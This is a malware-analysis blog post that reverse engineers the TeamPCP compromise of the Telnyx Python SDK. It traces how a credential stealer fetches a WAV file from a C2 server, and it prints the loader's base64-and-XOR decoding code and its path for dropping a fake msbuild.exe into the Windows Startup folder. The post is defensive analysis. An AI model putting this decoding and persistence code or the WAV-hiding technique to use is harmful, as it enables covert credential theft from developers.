Apr 10, 2026 Reverse Engineering a Multi Stage File Format Steganography Chain of the TeamPCP Telnyx Campaign TeamPCP executed a software supply chain campaign affecting multiple projects, including LiteLLM, and more recently two malicious versions of the Telnyx Python SDK ( 4.87.1 and 4.87.2 ) as part of the same campaign. Telnyx provides APIs and underlying infrastructure for telephony, messaging, and AI supported conversation workflows. This blog post focuses on the malicious file formats involved in the attack, starting with an overview of those formats and concluding with their reverse engineering. Background TeamPCP injected a cred stealer into two releases of the telnyx Python SDK on PyPI. The attack injects 74 lines of malicious code into a single file, telnyx/_client.py , which executes immediately on import telnyx . The payload is hidden inside a WAV audio file data subchunk which is fetched from attacker infrastructure at runtime, and decoded using base64 + XOR before execution. The malware is platform dependent and on Windows it drops a persistent binary disguised as msbuild.exe into the Startup folder for persistence across reboots. Figure 1: TeamPCP Attack Cycle. The .wav file format A WAV file follows RIFF for storing data in chunks. The format is usually not compressed which makes wav files usually large. Typically the .wav format is structured as shown in figure 2. Figure 2: Typical WAV file structure showing RIFF, format, and data chunks. As shown it’s a simple streamable format, I won’t dive into the details of it, as sources in the references properly do their justice. Malicious hangup.wav RE Let’s analyze the malicious hangup.wav file that was downloaded from their C2 server hxxp://83[.]142[.]209[.]203:8080/hangup.wav . First and foremost, let’s use our favorite hex editor, 010 Editor, to open the WAV file. As shown in Figure 3, the editor cleanly displays the file’s hex dump and highlights the header, format, and data containers of the WAV file. Since 010 Editor supports file templates. Figure 3: 010Editor hangup.wav dump. Header Signature: 0x00 - 0x03: RIFF Chunk size (LE): 0x04 - 0x07: 271,748 bytes - Excludes the 8 byte RIFF header (`RIFF` + chunk size field) RIFF format: 0x08 - 0x0B: WAVE FMT Chunk First subchunk ID: 0x0C - 0x0F: `fmt ` Subchunk size (LE): 0x10 - 0x13: 16 bytes Audio format (LE): 0x14 - 0x15: 1 Number of channels (LE): 0x16 - 0x17: 1 Sample rate (LE): 0x18 - 0x1B: 44,100 Byte rate (LE): 0x1C - 0x1F: 88,200 Block align (LE): 0x20 - 0x21: 2 Bits per sample (LE): 0x22 - 0x23: 16 What’s deduced so far is = bit rate = sample rate × bit depth × number of channels = 44,100 × 16 × 1 = 705,600 bits a sec, so 705,600 ÷ 8 = 88,200 bytes per sec Data Chunk Second subchunk ID: 0x24 - 0x27: `data` Subchunk size (LE) 0x28 - 0x2B: 271712 From 0x2C to 0x4285A , the file contains only data, i.e., the embedded payload, which has not yet been decoded. Each field is 2 bytes long. Decoding hangup.wav To the trained eye, it is clear that the bytes in the data chunk body are b64 encoded. However, in stage 0 of the supply chain, this becomes evident from the second stage payload, which targets Windows, as different WAV files are delivered to each OS (i.e. Linux has a different payload). The WAV file is downloaded from the C2 server, and when the malicious version of Telnyx is imported, the WAV file gets decoded from b64 and XOR decrypted, then finally the bytes get written as an binary i.e. the malicious msbuild.exe which contains an embedded malicious png image containing a hidden final payload which we’ll get into later down in the article. Stage 0 - telnyx/_client.py Once the telnyx package is imported, the malicious hijacked code is triggered. We will not focus on it fully. We will only focus on the subset that allows us to decrypt the contents of the hangup.wav file and form the full image for you as the reader. The full Python script can be found here -> https://github.com/HackingLZ/telnyx_4.87.1_payload/blob/main/stage0_trigger.py The path file is b64 encoded after decoding it an output path is clear p p = os.path.join( os.getenv( "APPDATA" ), "Microsoft \\ Windows \\ Start Menu \\ Programs \\ Startup" , "msbuild.exe" ) A WAV file is opened, all audio frames are parsed, and decoded from b64. The decoded data is then split into two parts, the first being 8 bytes are used as a key ( s ), and the rest being the encrypted data ( m ). It then XORs between the data and the key (repeating the key as needed) for original payload/binary reconstruction, and the final bytes are written out. with wave.open(t, 'rb' ) as w: b = base64.b64decode(w.readframes(w.getnframes())) s, m = b[: 8 ], b[ 8 :] payload = bytes ([m[i] ^ s[i % len (s)] for i in range ( len (m))]) with open (p, "wb" ) as f: f.write(payload) Now all we have to do is read all WAV frame bytes, Base64 decode them, take the first 8 bytes as the XOR key, XOR decode the rest, and save the result to disk as msbuild.exe . Doing that gives...
The TeamPCP threat group executed a software supply chain attack by publishing malicious versions (4.87.1 and 4.87.2) of the Telnyx Python SDK on PyPI, injecting a credential stealer into the `telnyx/_client.py` file. The malware fetches a malicious WAV file from attacker-controlled infrastructure, decodes a hidden payload using base64 and XOR, and establishes persistence on Windows by dropping a binary disguised as `msbuild.exe` into the Startup folder. The article provides a detailed technical reverse engineering of the multi-stage steganography chain used to conceal and deliver the payload within the WAV file's data subchunk.